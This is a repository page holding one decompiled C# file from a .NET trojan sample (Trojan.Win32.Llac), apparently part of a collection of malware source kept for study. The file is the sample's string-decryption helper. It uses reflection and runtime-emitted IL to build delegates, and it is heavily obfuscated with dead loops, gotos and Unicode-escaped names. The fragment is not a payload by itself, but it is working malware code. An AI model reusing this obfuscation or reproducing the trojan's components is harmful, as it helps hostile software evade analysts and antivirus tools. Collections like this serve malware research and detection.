MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2/_0001/_0004.cs
2022-08-18 06:28:56 -05:00

116 lines
3.4 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
namespace \u0001
{
internal static class \u0004
{
public static void \u0002([In] Type obj0)
{
int index1;
FieldInfo[] fields;
do
{
fields = obj0.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField);
index1 = 0;
}
while (false);
for (; index1 < fields.Length; ++index1)
{
FieldInfo fieldInfo = fields[index1];
label_4:
try
{
while ((object) fieldInfo.FieldType == (object) typeof (\u0001.\u0002))
{
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1]
{
typeof (int)
}, obj0, true);
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
MethodInfo[] methods = typeof (\u0002.\u0002).GetMethods(BindingFlags.Static | BindingFlags.Public);
int index2 = 0;
while (true)
{
int num1 = index2;
int num2;
while (true)
{
int num3 = methods.Length;
int num4;
while (true)
{
num4 = num3;
if (false)
num3 = num4;
else
break;
}
MethodInfo meth;
if (num1 < num4)
meth = methods[index2];
else
goto label_18;
label_7:
if ((object) meth.ReturnType == (object) typeof (string))
{
if (true)
{
ilGenerator.Emit(OpCodes.Ldc_I4, fieldInfo.MetadataToken & 16777215);
ilGenerator.Emit(OpCodes.Sub);
ilGenerator.Emit(OpCodes.Call, meth);
}
else
goto label_4;
}
else
{
int num5 = index2;
while (true)
{
num2 = num5 + 1;
if (true)
{
if (false)
num5 = num2;
else
goto label_13;
}
else
break;
}
num1 = num2;
continue;
}
label_18:
ilGenerator.Emit(OpCodes.Ret);
fieldInfo.SetValue((object) null, (object) dynamicMethod.CreateDelegate(typeof (\u0001.\u0002)));
if (false)
goto label_7;
else
goto label_19;
}
label_13:
index2 = num2;
}
label_19:
return;
}
}
catch
{
}
}
}
}
}